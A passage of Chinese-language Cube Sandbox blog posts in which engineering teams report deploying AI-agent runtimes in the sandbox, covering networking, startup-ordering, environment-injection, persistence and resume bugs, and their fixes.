但很多差异只有真正使用后才会显现。百毫秒级拉起一个隔离环境、一次克隆出多个执行分支、在 Agent 误删文件后回滚状态，以及在会话闲置时释放资源，再无感恢复——这些都不是传统容器最初要解决的问题。 "我们选择将 Cube 开源，就是希望让更多人亲自体验，看到沙箱能够完成一些传统方案难以做到的事情。开发者只有真正部署和使用，才能更直观地理解 Agent 对运行环境提出了哪些新的要求。"金峰说道。 数据显示，Cube 开源后仅用了 4 天，GitHub Star 数便突破 4000；3 个月后，Star 数已经超过 1 万。如此快速的增长，至少能够说明，Agent 的执行环境已经成为开发者普遍关心的问题。金峰判断，随着行业对 Agent 的关注不断上升，与 Agent 相关的基础设施也将会受到更多关注。 对于未来的版本演进，Cube 团队也早已做好了规划。当前，Cube 的快照、恢复和状态管理能力，更多建立在单机维度。团队下一步的重要方向，是把沙箱的抽象从单机提升到集群，让沙箱能够在集群内跨节点迁移和恢复。当某个节点发生故障时，运行在该节点上的沙箱可以快速在其他节点恢复，从而进一步提升沙箱自身的高可用能力。 沙箱一旦跨节点迁移，首先需要解决的便是存储问题。在单机环境中，沙箱可以依赖本地磁盘保存数据；提升到集群维度后，计算环境和状态必须解耦，沙箱在任何节点恢复时，都能够重新挂载原有数据。v0.6.0 引入的 Volume 框架，是这条路径的起点，后续，团队还需要继续适配分布式存储，并在兼容不同企业环境的同时，保证启动速度和 I/O 性能。 另一个需要补齐的方向是可观测性。目前，Cube 已经能够在网络层观察沙箱访问了哪些外部服务，执行流量审计和访问控制。但 Agent 的行为并不只发生在网络中。它还会调用系统命令、修改文件、启动进程，甚至执行一些高风险操作。团队希望将观测能力进一步下沉到操作系统层，更完整地还原 Agent 在沙箱中做了什么。当它执行敏感操作时，系统也有机会及时审计甚至阻断。 "今天我们叫它 Sandbox，但它已经远远超出了一个沙盒。它代表的是一套 Infra 系统。"金峰说道。 ## 4 结束语：当 Infra 开始为 Agent 重新设计 当 Agent 还只是聊天窗口里的助手时，风险距离普通人还很遥远。但当它获得了文件系统、终端、邮件和生产系统权限，问题就变得具体起来：它在哪里执行，能够访问什么，做错之后如何恢复，又由谁来记录和限制它的行为？ 沙箱因此成为 Agent 基础设施中最早被看见的一部分，但绝不是最后一部分。对于未来 Agent Infra 的演进方向，金峰判断，至少有三个变化值得关注。 第一个变化，是 Agent 从单体走向 Agent Teams。今天的基础设施倾向于把每个 Agent 视为独立个体，通过沙箱将它们彼此隔离；但当多个 Agent 开始分工协作，基础设施还需要为它们提供共享上下文、交换任务产物和协同执行的空间。 目前，社区中已经出现了相关实践：将 Sandbox 与 Volume 设计为彼此独立的抽象，再通过 Volume 划分团队共享空间和个体私有空间，让不同 Agent 在保持隔离的同时共享文件和任务结果。未来，如果以存储作为中转无法满足协作效率，Agent 之间也可能产生更直接的通信需求。 第二个变化，是越来越多服务的主要使用者将从人变成 Agent。"今天的很多服务都是为人设计的，强调人眼可见、可以理解，但这些东西对 Agent、对模型来说可能是低效的。此外，当使用者从人变为 Agent 后，服务本身也会面临更多的突发性和分支实验的挑战。" 这意味着，所谓"为 Agent 提供服务"，不会只是单独建设一个入口或网站。真正的变化会深入到服务内部，系统的接口、吞吐、权限控制和交互方式，都可能需要随之调整。 第三个变化，是 Agent 的风险边界会逐渐越过沙箱。今天，人们谈论 Agent 的不可预测性，通常还是将风险限制在一个隔离环境中；但随着 Agent 开始操作数据库、调用企业服务和修改生产系统，它的"触手"会伸向更多系统，潜在故障域也会随之扩大。 "Agent 的触手跳出沙箱以后，我们怎么样依然能够管住它？"金峰认为，未来需要解决的问题，不再只是如何把 Agent 关在一个安全环境里，而是如何在它跨越多个系统执行任务时，仍然能够持续观察、审计和约束其行为，并在保留 Agent 自主性和泛化能力的同时，让整个过程处在人类可控范围内。 从 Agent Teams 的协作，到面向 Agent 重新设计服务，再到将安全边界扩展至整个生产系统，沙箱只是这场基础设施重构的起点。当 Agent 逐渐从工具变成数字世界里的主要行动者，Infra 也不能继续停留在"传统系统勉强能跑"的阶段，而是要真正开始围绕 Agent 的行为重新设计。 ## 相关链接 * Cube Sandbox 源码：https://github.com/tencentcloud/CubeSandbox * 官网指南：https://cubesandbox.com/zh/guide/introduction.html * Cube Sandbox 系统设计思考：https://xie.infoq.cn/article/510579436d9f297700292cac4 --- --- url: https://cubesandbox.com/zh/blog/posts/2026-08-13-lexmount-browser-agent.md description: >- Agent 浏览器运行时是一个复合工作负载。它对 AI Agent 沙箱的运行有四个核心层面的硬需求：出站网络能否连到真实互联网、批量拉起时的启动时序稳不稳、每个沙箱的运行时状态能否被动态注入、真实容量能不能被准确感知。Lexmount 团队在把浏览器运行时接入 Cube Sandbox 的实践中，逐一碰上并解决了这四个问题。 --- # 把浏览器搬进 Agent 沙箱：Lexmount 在 CubeSandbox 上的一线实战 **编者按｜** Agent 浏览器运行时是一个"复合工作负载"。它对 AI Agent 沙箱的运行有四个核心层面的硬需求：出站网络能否连到真实互联网、批量拉起时的启动时序稳不稳、每个沙箱的运行时状态能否被动态注入、真实容量能不能被准确感知。 任何一条无法实现，Agent 的行为都会开始漂移。Lexmount 团队在把浏览器运行时接入 Cube Sandbox 的实践中，逐一碰上并解决了这四个问题。本文是他们的一手技术复盘，也顺带回答了一个更本质的问题：轻量沙箱在追求启动性能时究竟放弃了什么，业务侧又该如何补齐。 ## 一、应用背景和分层策略 ### 1.1 Lexmount 业务背景 Lexmount 自研的 Agent 专属浏览器运行时（Lexmount Insight Flow），核心的应用场景是：让 AI 智能体大规模、稳定地执行网页任务。这个业务形态天然对底层沙箱提出了几条"必须成立"的要求——**能真实访问互联网**（浏览器任务的前提）、**能批量并发拉起**（多用户并行 / 强化学习 batch rollout）、**能给每个沙箱注入不同的运行时状态**（多租户 API Key、任务上下文）、**能准确知道单机能起多少个**（不能空跑虚高）。 选型阶段，我们在开源社区寻找"能轻量起大量沙箱"的工具。实测对比过 OpenSandbox 和 Cube Sandbox 后，我们发现 Cube 的资源占用更低，因此最终选择了后者。从 v0.1.0 跟进到 v0.5.1，围绕上面四条边界，我们分别踩到了公网不通、模板创建失败、环境变量丢失、资源虚假超卖四个坑。 ### 1.2 分层策略：不是所有 Agent 都要整个塞进沙箱 在讲具体问题之前，先分享我们对沙箱化的整体路径策略——它决定了后面四个问题各自出现在哪条链路上。我们把沙箱化拆成两条路径，由业务编排层按风险等级、资源占用和业务形态做策略路由。 **第一条路径只隔离 Bash。** 通用对话、问答、轻量编排这类低风险、短执行的场景，Agent Loop 本身保留在业务编排层，只有 `Bash/exec` 工具调用进入沙箱执行。沙箱用完即弃，内部无状态。这条路径的优势是轻——沙箱生命周期短、高频启停、不占常驻资源。 **第二条路径把整个 Agent Runtime 放进沙箱。** 代码开发、浏览器自动化、长时任务这类高风险、重资源、需要常驻或原生交互的场景，Agent 常驻进程整体进入沙箱，享有独立 CPU/内存和持久工作区。这条路径优势是隔离彻底——Agent 在沙箱内有完整运行环境，随时启停，和常驻微服务相比资源差异不大。 两条路径共享同一套 Cube 控制面，由控制面按需创建或复用轻量/完整 Sandbox，并统一编排生命周期。后续还有强化学习 batch rollout 的计划——批量短生命周期沙箱，这也是 Cube 这类轻量沙箱最契合的场景之一。 ## 二、出站网络：让沙箱真的能"打开网页" 对浏览器运行时来说，网络是第一硬约束。Agent 打开的每个页面、每次调用的每个 API，都要从沙箱里出到公网。Cube v0.1.0 上手第一天，我们就撞上了这条边界。 Cube v0.1.0 在五一节前发布，创建的沙箱连不上公网。我们换了多个环境都复现，排除了自身环境问题。虽然社区在节后就发布了修复版，但升级后新坑来了——提示创建成功，但模板偶尔建不出来，偶发建出来还是无法联网。 我们写了很多测试脚本和用例，确认 DNS 和直连公网 IP 都超时，先排除了域名解析问题。接着抓包，发现 SNAT session 已经建立，但连接卡在 SYN-SENT，说明 TCP 三次握手没完成。进一步检查宿主机默认路由和出口网卡，均正确。到这一步，IP 层和路由层都没问题，我们开始怀疑 IP 层以下。 让 AI 帮忙检查了一遍 network-agent 的源码，发现了一个可疑点：`getGatewayMacAddr()` 这个函数会把网卡上"第一个 reachable 邻居"当作网关。在多邻居环境下，这个 MAC 可能并不是默认网关的 MAC——如果选错了，SYN 包虽然从网卡发出去了，但在 L2 层被送到了错误的 next hop，根本到不了网关，连接自然超时。 为了实锤这个判断，我们用 `tcpdump` 抓了出口网卡的包。结果很清楚：SYN 确实从 `enp3s0` 发出了，但目的 MAC 属于一个普通邻居，而不是默认网关。 因此，我们的修复思路是改 `getGatewayMacAddr()` 的逻辑：先从接口默认路由解析出 gateway IP，再查该 IP 对应的 neighbor entry，确保选到的是真正的网关 MAC，而不是碰巧排在第一位的 reachable 邻居。同时补了两个测试用例：多邻居场景下非网关 MAC 排在前面的情况，以及缺失默认路由的情况。这个 PR（[#224](https://github.com/TencentCloud/CubeSandbox/pull/224)）已被合并。排查过程中，我们还额外发现了一个 MAC 地址被覆盖的问题，也单独提了修复。 **这条边界踩通之后**，第二条路径（整个 Runtime 塞进沙箱）才真正具备了跑浏览器任务的前提。但很快，下一条边界就来了——不是一个沙箱能不能上网，而是**一次能不能拉起很多个沙箱**。 ## 三、批量启动：拉起一百个沙箱前，先解决"进程已起 ≠ 就绪" Agent 浏览器运行时的第二个业务诉求是并发。一个用户会同时开好几个页面任务、多个用户会同时使用 Agent，未来 RL rollout 还要批量并发拉起短生命周期沙箱。这些场景共同的特点是：**一台机器上会短时间内密集触发沙箱创建请求**。 密集创建会自然导向一个问题：启动时序竞态。我们遇到的第二个坑也是在这里。当时的报错信息是 `unknown service cubelet.services.images.v1.Images`，看起来像是 Cubelet 本身的问题。 最初我们确实优先怀疑 Cubelet——版本不匹配？Images 服务未注册？Cubelet 初始化异常？但检查发现 Cubelet 进程和 gRPC 端口都已经起来了，问题只在重启或整套 one-click 启动后出现，单独等一段时间或调整启动顺序后可恢复。因此开始怀疑依赖初始化竞态。 对照启动脚本，我们找到了根因。旧逻辑是拉起 network-agent 后立即启动 Cubelet，直到 Cubelet 启动以后才用 `/healthz` 检查 network-agent。而 Cubelet 初始化网络插件只等 30 秒——network-agent 启动较慢时会导致 Cubelet 初始化不完整，后续 Images 服务不可用。 因此，"network-agent 没起好"不是进程没启动，而是进程已经存在、但 `/readyz` 尚未通过，Cubelet 就被过早拉起了。这也解释了为什么看起来是 Cubelet 报错，根因却在上游依赖未就绪。`/healthz` 检查的是进程存在，`/readyz` 检查的是依赖服务注册完成——两者不能互相替代。 我们的修复方案是把启动顺序改过来：先等 network-agent 的 `/readyz` 通过，再启动 Cubelet 及后续服务。同时把脚本和 Cubelet 内部等待时间都延长到 120 秒，新增了 `NETWORK_AGENT_READY_TIMEOUT` 环境变量供部署方按机器性能调优。这个 PR（[#304](https://github.com/TencentCloud/CubeSandbox/pull/304)）已被合并。 **表面看这是一个部署脚本问题**，但放到浏览器运行时的业务场景里，它是一个"能不能规模化"的问题——如果批量拉起时依赖服务还没注册就被调用，创建就会大批量失败。业务侧的应对是：所有依赖跨进程 gRPC 的组件，就绪判定统一以 `/readyz` 为准，而不是 `/healthz` 或进程存在。 ## 四、动态状态：多租户 API Key 该怎么塞进沙箱 浏览器运行时的第三个诉求是"每个沙箱的运行时状态可以按需注入"——不同用户、不同任务的 API Key、上下文标签、下游服务地址都不同，我们不可能给每种组合都做一个模板。理想情况下：控制面按请求生成一组 env，创建沙箱时传进去，Agent 起来后就能读到。 但我们撞上了 Cube 的一条架构边界。往沙箱里直跑 Agent，需要传 API Key 等环境变量启动。但接口传一组 env 进去，根本没生效。读源码后发现：`CreateSandboxRequest.containers` 被硬编码为 `vec![]`，传入的环境变量值在这一步被掐掉了。 我们提了 PR（[#634](https://github.com/TencentCloud/CubeSandbox/pull/634)），尝试从 CubeAPI 的初始化链路入手修复，把 `env_vars` 接入 container spec。但维护者反馈"与原架构设计不兼容"，PR 被关闭。 被关闭的技术理由，后来我们理解了。Cube 的沙箱创建走的是 snapshot restore，而不是重跑 entrypoint。模板的运行时进程在模板制作阶段已经启动并完成了内存快照，沙箱创建是从这个快照恢复，而不是重新执行 entrypoint。因此，PID-1 的 `Process.Env` 改动影响不到 snapshot 时已经存在的进程——那些进程保留的是快照时刻的环境，不会重新读取 per-sandbox 注入的变量。 envd-backed 的命令执行（`commands.run` / `run_code`）走的是另一条路：envd 的 `process.Start` 从一个 in-process 的 defaults.EnvVars map 中读取并注入环境变量，这个 map 由 envd 的 `/init` endpoint 填充（由 [#566](https://github.com/TencentCloud/CubeSandbox/pull/566) 处理）。两条路径互补但不重叠。 在确认这不是底层缺陷，而是 snapshot restore 的架构约束后，我们继续采用了在早期的实践过程中已经沉淀出来的解决办法，即采用"控制面代理、沙箱内执行"的两段式设计：控制面对外提供 Init API，完成鉴权、身份字段保护、目标实例解析和失败重试；真正的 `/v1/init` 运行在 CubeSandbox 内的 Adapter 或 Agent 业务进程中，通过内存配置更新、同进程环境更新或重启子进程触达 Agent。幂等由 Sandbox 控制面和内部 Adapter 或 Agent 业务进程共同保证。 回头看这个架构约束，我们认同维护者的判断。snapshot restore 带来的启动时延降低是实实在在的——热启动 P95 在亚秒级，这恰恰是浏览器运行时能"批量并发"的前提。而 env 注入本身是偏业务的场景，由业务侧在恢复后显式注入，比依赖 entrypoint 重跑更可控。**这是一条典型的"上层性能换下层灵活性"的取舍**——Cube 选择在启动性能上激进，把状态注入的责任明确交回业务侧；业务侧知道边界之后，用两段式设计补上，链路依然清晰。 ## 五、真实容量：从"能起 N 个"到"敢用 N 个" 浏览器运行时是重资源工作负载——每个沙箱里都有一个完整 Runtime 加浏览器实例。业务方最关心的一个数字是：一台机器上到底能跑多少个。我们最早给出的数字，事后来看是虚高的。 早期版本（v0.2.x）在一台 16C/32G 的裸金属服务器上，我们尝试不停创建 Cube，得到了一个比较大的数值。升级新版本后发现创建 30+ 就触发了资源限制报错，和之前的认知差别较大。 排查过程中，开始主要怀疑自己的控制面和生命周期管理模块有 bug。排除自身控制面和生命周期管理逻辑的问题后，我们开始梳理 Cube Sandbox 的代码，在 AI 辅助下定位到根因：v0.2.x 的 one-click 部署里，CubeMaster 使用脚本向 Redis 写了一组 mock 的资源消耗指标，这让 CubeMaster 对资源消耗的感知失效——看起来还有很多余量，实际已经满了。v0.3.0 版本已经修复了该问题。 这个坑本质是在为历史上的测试不够严谨买单。此前"不停创建空跑沙箱"得到的容量数字是虚高的——没有真实流量，沙箱不真正占资源，自然能起很多。升级后 mock 指标被修掉、资源锁真正生效，虚高的数字才被打回原形。 我们后来总结：对于容量评估，最直接的信号是实际创建请求能否成功，需要综合 CubeMaster 的实时节点健康状态、剩余配额、宿主机的 `free/top` 等信号指标，进行交叉验证，形成系统性的容量监控和压测结论，这些单独看都有可能成为"不可信"的信号。 这一条对我们的启示不止是"修一个上报 bug"——它反过来定义了我们后续做容量规划的原则：任何单一信号都不能作为容量结论的依据；容量必须在业务负载真实压上去的条件下测。对浏览器运行时来说，这意味着测试用例必须包含真实页面加载、真实的 Agent 请求，而不是空跑一批沙箱看能起多少。 ## 六、当前状态与后续规划 当前我们在生产前验证阶段停留在 v0.5.1，计划后续体验 v0.6.0 的 K8s / Volume 能力。后续会进客户私有化场景，强依赖 K8s 兼容（客户基建用 K8s），因此我们对于 v0.6.0 的 K8s / Volume 验证是下一步重点。 后续规划中还有强化学习 batch rollout 的批量沙箱需求——大量短生命周期沙箱并发创建、执行、回收。这也是 Cube 这类轻量沙箱和我们业务场景的契合点。 ## 总结一下可供参考的经验 四个方向摸索下来，有几点感受值得沉淀，也希望能给正在评估或使用 Cube 的同行提供参考： * **出站网络问题先怀疑 L2。** 当 SNAT session 建立但连接卡在 `syn_sent`、且宿主机路由正确时，问题大概率在 L2 next hop 选择上——`tcpdump` 直接看 SYN 的目的 MAC 是不是网关 MAC，是最快的实锤方式。这条经验对基于 microVM + 自定义网络平面的沙箱都适用，不局限于 Cube。 * **批量场景下，`/healthz` 不能替代 `/readyz`。** 单机低并发时 30 秒足够，一旦拉起频次上来，依赖服务未注册就被调用会大批量失败。所有跨进程依赖，就绪判定统一以 `/readyz` 为准。 * **容量数字不能空跑测出来。** 早期资源上报 bug 叠加"空跑无真实消耗"，会让容量数字被显著高估。容量评估必须在业务负载真实压上去的条件下做，且需要多源信号交叉验证。 Agent 浏览器运行时是一个复合工作负载，它对底层沙箱的压测比大多数场景都苛刻。我们从 v0.1.0 一路跟到 v0.5.1，每一条边界都读到了源码根因，也提了自己的修复。希望这份记录对同样在做 Agent Runtime 的团队有所参考。 --- --- url: https://cubesandbox.com/zh/blog/posts/2026-08-20-hermes-agent.md description: >- 一个常驻 Agent 应用需要沙箱记住的不只是任务产物，还包括 Agent 自身的配置、历史会话、以及一批被反复调用的 Skills。而沙箱本身天然是易失的——重启、暂停、迁移都可能让这些状态归零。本文分享上海阳璞新能源科技 AI 团队在将 Hermes Studio 迁上 Cube Sandbox 的过程中踩过的坑和落地方案。 --- # 在 Cube Sandbox 中运行 Hermes Agent：从持久化挂载、Skills 分层到网络与恢复故障的工程实践 作者｜上海阳璞新能源科技 AI 团队 · 陈金博 **编者按｜** 对多数团队而言，一个常驻 Agent 应用需要沙箱记住的不只是任务产物，还包括 Agent 自身的配置、历史会话、以及一批被反复调用的 Skills。而沙箱本身天然是易失的——重启、暂停、迁移都可能让这些状态归零。于是，不同的工程团队会撞上几类相似的问题，例如：挂载目录的路径、共用 Skills 的统一维护、内网模型服务连通等等。 上海阳璞新能源科技 AI 团队在将 Hermes Studio（内部 Agent 运行平台）迁上 Cube Sandbox 的过程中，踩过一些坑，并基于此建构了一套完整的落地方案。其核心思路是以 Cubelet 节点上的持久化目录作为唯一存储底座，通过 `metadata["host-mount"]` 将 Hermes home、workspace 和公共 Skills 分别挂载进沙箱；管理面板负责目录初始化、公共 Skills 部署、沙箱创建、服务启动与状态查询。本文将对该实践进行分享。 ## 一、架构与运行链路 整套方案以 Cube 官方 sandbox-code 基础镜像构建 Hermes Studio 全运行时模板：保留 Cube command service（端口 49983），并提供 Hermes Studio Web UI（端口 9000）。模板内含 Hermes Agent 运行环境、Node 和 hermes-web-ui，新建沙箱直接具备可用的 Agent 运行能力。 管理面是用 FastAPI 和服务端渲染实现的单管理员内部面板，通过 Cube 官方 Python SDK 调用管理沙箱，支持创建、连接、查看、暂停、恢复、停止，并展示 Web UI 访问地址与健康检查结果。 ![Hermes Studio 基于 Cube Sandbox 的部署、持久化与访问架构](./assets/2026-08-20-hermes-agent/01-hermes-architecture.jpg) *图 1：Hermes Studio 基于 Cube Sandbox 的部署、持久化与访问架构* 从管理员提交创建请求，到 Hermes Studio 对外可访问，完整流程可归纳为十步： 1. 管理员通过本地运行的 Hermes Sandbox Panel 创建或管理沙箱。面板是单管理员内部工具，负责表单交互、配置加载、Cube SDK 调用，以及状态与访问地址展示。 2. 创建请求指定三个核心要素：home-id 对应一个持久化 Hermes home；workspace-id 对应一个持久化项目工作区；Template 使用已验证的 Hermes Studio Full Runtime 模板。 3. 面板先通过 SSH 登录 Cubelet 节点，确保 `/data/shared/hermes-homes/<home-id>`、`/data/shared/hermes-workspaces/<workspace-id>` 和 `/data/shared/hermes-common-skills` 三个 host-mount 目录存在。 4. 对于首次使用的 home-id，面板检查目录中是否存在 `config.yaml`。若不存在，则从 `/data/shared/hermes-homes/default` 复制默认配置与运行内容；已初始化的 home 不会被覆盖。 5. 面板调用 Cube SDK 创建沙箱，通过 `metadata["host-mount"]` 配置三类挂载：Hermes home 映射到 `/root/.hermes`（读写）；项目工作区映射到 `/workspace`（读写）；公共 Skills 映射到 `/opt/hermes-common-skills`（只读）。 6. 新沙箱启动后，面板先初始化公共 Skills 覆盖层，再启动 Hermes Studio。仓库 `skills/` 通过 rsync 部署至 Cubelet 公共目录；沙箱内为尚不存在的公共 Skill 创建符号链接，同名私有 Skill 优先保留。 7. 面板启动 hermes-web-ui，读取 Web UI token，组合出可访问的 Hermes Studio URL。模板对外暴露 9000（Web UI）和 49983（Cube command service）两个关键端口。 8. 面板检查 Hermes Web UI 与 `49983/health`。健康检查失败时不自动销毁沙箱，以便管理员继续连接诊断，或执行暂停、恢复与停止。 9. 后续用同一 home-id、workspace-id 创建新沙箱时，会重新挂载同一份 Cubelet 目录，Hermes 配置、会话、私有 Skills 与工作区文件均可跨实例保留。公共 Skill 内容更新会被已挂载沙箱直接看到；新增 Skill 目录则需执行一次"刷新公共 Skills"以创建新符号链接。 10. 启动 Hermes Studio 时，面板将默认环境变量与创建时覆盖项合并导出；页面展示与错误输出按 KEY、TOKEN、SECRET、PASSWORD、API\_KEY 等规则脱敏，避免敏感值暴露在管理界面。 该项目目前处于内测阶段：在单个 Cube Sandbox 节点上接入数十个 Hermes 沙箱，已持续运行约一个月。期间出现过若干工程问题，但均已完成定位并形成处理方案，具体如下。 ## 二、持久化设计，切换 host-mount 方案时踩过的坑 沙箱重建后，Hermes Agent 的运行状态需要能恢复。最需要持久化的是 `/root/.hermes`（配置、运行文件、会话与私有 Skills）和 `/workspace`（项目文件与任务工作区）。 按 E2B 风格 SDK 的常规用法，我们团队最初尝试通过 `Sandbox.create()` 的 `volume_mounts` 参数挂载持久化目录，但当时的 Cube 版本（v0.6.0 之前）尚不支持 `volume_mounts`。于是在官方建议下，改用 host-mount 方案。 我们的验证路径是逐步收窄的：先确认沙箱创建请求支持透传 metadata；再验证 `metadata["host-mount"]` 可携带多个挂载描述（hostPath、mountPath、readOnly）；接着做最小实验——第一个沙箱向挂载后的 `/root/.hermes` 写入 marker 文件，第二个新沙箱挂载同一 host 目录并成功读取，同时确认挂载类型为 virtiofs 读写挂载；最后把最小方案扩展为三类挂载：持久化 home、持久化 workspace、只读共享公共 Skills。 这个过程中踩过七个坑，其中前四个是关于挂载本身的： 1. **hostPath 不是管理面板所在机器的路径。** 它必须指向实际承载沙箱的 Cubelet 节点。误解为 FastAPI 面板进程所在主机的路径，会导致挂载找不到预期数据。 2. **目标目录必须预先存在。** 即使挂载描述正确，只要 Cubelet 节点上缺少目标目录，CubeMaster 就会在创建阶段报错。 因此当前流程会先通过 SSH 创建 home、workspace 与公共 Skills 目录，再调用 Cube SDK。 3. **空目录会覆盖镜像内的 `/root/.hermes`。** 挂载不是目录合并——空 host 目录会遮蔽镜像预置的 `config.yaml`、Agent 运行文件与 Skills，是最关键的运行时问题。 4. **必须先 seed，再正式挂载。** 早期用临时 seed sandbox 把镜像中的 `/root/.hermes` 复制到 host 目录；当前则在 Cubelet 固化 default home，以 `config.yaml` 是否存在判断是否需要初始化，避免反复覆盖用户会话与私有配置。 5. **`/root/.hermes` 与 `/workspace` 不应共用目录。** Hermes home 属于 Agent 运行态与用户配置，workspace 属于项目文件，分离两者能降低会话、Skills 与业务代码之间的耦合。 6. **公共 Skills 不能直接复制到每个 home。** 逐份复制会造成副本膨胀、更新不同步，还可能覆盖私有修改——这直接引出了下一节的分层设计。 7. **旧沙箱无法动态补充新 mount。** 公共 Skills 是后续新增的第三类挂载，创建时未包含该 mount 的旧沙箱无法仅靠"刷新 Skills"补上，必须重建并在创建参数中加入挂载。 ## 三、Skills 分层：只读公共目录 + 符号链接覆盖 这一设计要同时满足两个互斥的诉求：公共 Skills 要能被多个 Cube 沙箱统一使用和更新；每个 Hermes home 里已有的个人或项目定制 Skills 又不能被破坏。 直接复制会遇到四个问题：每个 home 保留一份副本，公共 Skill 更新后要逐一同步；难以区分公共版本与用户自行修改的私有版本；同步时容易覆盖私有修改；删除或升级公共 Skill 时可能误删 home 中的私有文件。 最终的数据链路是这样的： 公共目录只维护一份，可通过 Git 审计与版本管理；以只读方式挂入沙箱后，单个 Agent 或用户无法误改全局能力。由于 Hermes Agent 默认从 `/root/.hermes/skills` 加载 Skills，面板会在该目录中创建指向 `/opt/hermes-common-skills/<skill-name>` 的符号链接。 | 内容 | Cubelet 目录 | 沙箱路径 | 权限 | |---|---|---|---| | Hermes home | `/data/shared/hermes-homes/<home-id>` | `/root/.hermes` | 读写 | | Workspace | `/data/shared/hermes-workspaces/<workspace-id>` | `/workspace` | 读写 | | 公共 Skills | `/data/shared/hermes-common-skills` | `/opt/hermes-common-skills` | 只读 | 覆盖规则很简单：如果 `/root/.hermes/skills/<name>` 已存在，视为私有 Skill，不创建同名公共符号链接，私有版本优先。之所以不把公共目录直接挂载到 `/root/.hermes/skills`，是因为挂载会遮蔽 home 中已有的私有 Skills。 共享 host-mount 使已挂载沙箱能直接看到公共 Skill 的内容更新；如果新增了一个 Skill 目录，仍需执行一次刷新，为该目录建立新的符号链接。 ## 四、网络放行与镜像构建 ### 4.1 局域网模型访问失败：出站规则需单独放行 运行过程中，我们遇到一个问题：Hermes Studio 与 Agent 均能在 Cube 沙箱中正常启动，Web UI 也能打开——但一旦发起模型调用，就会出现 Connection error。排查后，发现原因是：模型服务部署在 `10.10.x.x` 等局域网地址时，`--allow-internet-access` 只管出公网，不代表沙箱能访问内网服务，两者是两条完全不同的出站规则。 我们当时先在沙箱做 TCP 检查，确认是网络层没打通而不是应用层问题： 随后重新创建 Template，显式增加 IPv4 出站 CIDR： `--allow-out-cidr 0.0.0.0/0` 才是真正放开沙箱向 IPv4 地址出站访问的开关，覆盖了当前局域网模型服务地址。放行后沙箱到模型服务的 TCP 连接恢复可达，请求 `/v1/models` 返回 401 Invalid token——网络链路已经打通，之前的 Connection error 消失，只是测试请求没带模型 API token。 ### 4.2 AppleDouble 文件：在构建 Cube 镜像前清理 macOS 元数据 Hermes Agent 源码需要进入 Cube Template 对应的镜像。我们团队的构建链路为：macOS 开发机 → 打包源码 → 上传至 Cube 构建机 → Docker 构建模板镜像 → Cube 沙箱运行 Agent。 最初从 macOS 打包时，源码中混入了 `._*` 等 AppleDouble 元数据文件。它们不会阻止镜像构建或沙箱启动，但 Hermes Agent 扫描源码时可能把它们当 UTF-8 文本读取，触发解码错误。 最终处理点不在沙箱运行逻辑，而在 Cube 镜像构建上下文的制作阶段： `COPYFILE_DISABLE=1` 尽量减少 macOS 生成 AppleDouble 文件；两个 `--exclude` 确保即使目录里已经有这些文件，也不会打进上传包。镜像构建完成后可在沙箱内验证，预期结果为 0。 ## 五、v0.5.1 中，暂停恢复时的 TAP 设备 EBUSY 问题 我们在 Hermes sandbox 配置了 15 分钟无访问自动暂停，以节省资源。部分实例进入暂停状态后，控制面重启了 CubeMaster、Cubelet 与 network-agent。但此后再访问这些实例时，会出现恢复失败，CubeMaster 报错 Device or resource busy。 初步定位为：暂停快照中记录的虚拟网卡，与控制面重启后 network-agent 保留或初始化的 persistent TAP 网卡状态未能正确协调。恢复时系统重复配置同一 TAP 设备，最终触发 EBUSY。新建且持续运行的沙箱不受影响；暂停后经历控制面重启的实例则可能无法访问。 目前，我们团队已向 CubeSandbox 官方提交 Issue [#953](https://github.com/TencentCloud/CubeSandbox/issues/953)，官方反馈正在修复。 因此，临时处理方案是：保留 home 与 workspace 持久化目录，销毁并重建无法恢复的沙箱，再重新绑定 alias。这样用户工作区和 Hermes 配置不会丢失，但 VM 临时层会被重置。 ## 六、关键结论 * **持久化边界必须先于模板运行验证**：`/root/.hermes` 与 `/workspace` 应分离，避免运行态、用户配置与业务代码耦合。 * **空 host 目录会遮蔽镜像中原有的 `/root/.hermes`**；首次使用的 home 必须先完成初始化（seed）。 * **hostPath 指向实际承载沙箱的 Cubelet 节点**，而不是管理面板所在主机；目标目录必须在创建沙箱前存在。 * **公共 Skills 采用"只读共享目录 + 私有目录符号链接"的覆盖层设计**，实现集中维护与私有版本优先。 * **仅启用互联网访问不等于可访问局域网模型服务**；模板需显式配置出站 CIDR，并在沙箱内进行 TCP/HTTP 验证。 * **macOS 制作镜像构建上下文时**，应排除 AppleDouble（`._*`）与 `.DS_Store`，避免 Agent 扫描源码时触发解码错误。 * **控制面状态以 Cube 实时查询结果为准**，避免面板自维护状态与真实沙箱状态发生漂移。 ## 其他问答摘录 **Q：管理面板为什么以 Cube 查询结果为准，而不是自己维护一套状态？** A：为了确保唯一事实来源。若面板自行维护沙箱状态，长期运行后很容易与 Cube 的真实状态发生漂移。面板只展示 Cube 的实时查询结果，可以减少状态不一致与误操作。 **Q：如果重新设计一次，最想换掉什么做法？** A：会从项目第一天就明确"持久化状态的边界"，而不是先验证 Hermes Studio 模板能运行，再补做 host-mount 持久化。持久化设计会直接影响目录初始化、Skills 分层、升级策略和故障恢复，越早验证，后续返工越少。 **Q：最希望分享给其他 Cube 用户的一条经验是什么？** A：从第一天起就做一次完整的重建测试：创建一个全新沙箱，确认 Agent 能拿到正确的状态、能够访问所需网络，同时不会泄露或覆盖不应共享的数据。只有"重建后仍正确"，才说明持久化边界、网络规则和权限设计真正成立。 *感谢上海阳璞新能源科技陈金博老师及其 AI 团队，对以上内容的贡献。* --- --- url: https://cubesandbox.com/zh/blog/posts/2026-08-20-lenovo-cloud-agent.md description: >- 把一个云端 Agent 产品的沙箱从 Daytona 换成 Cube，看起来只是换了一个更快的工具。但真正做下来会发现，迁移会改变三件事：沙箱的部署形态（SaaS → 自托管）、沙箱的启动模型（每次会话重建 → 快照恢复）、以及更本质的——沙箱在产品架构中的角色（从「工具执行容器」到「独立运行环境」）。 --- # 从 Daytona 到 Cube Sandbox：联想云端 Agent 的沙箱迁移与演进 访谈对象｜联想 AI 研发工程师 · 李健 **编者按｜** 把一个云端 Agent 产品的沙箱从 Daytona 换成 Cube，看起来只是换了一个更快的工具。但真正做下来会发现，迁移会改变三件事：沙箱的部署形态（SaaS → 自托管）、沙箱的启动模型（每次会话重建 → 快照恢复）、以及更本质的——沙箱在产品架构中的角色（从"工具执行容器"到"独立运行环境"）。 联想研究院 AI Lab 的云端 Agent 产品经历了两个阶段：1.0 把沙箱当作"每次会话起一个、用完即弃"的隔离执行环境；2.0 把守护进程和 Agent 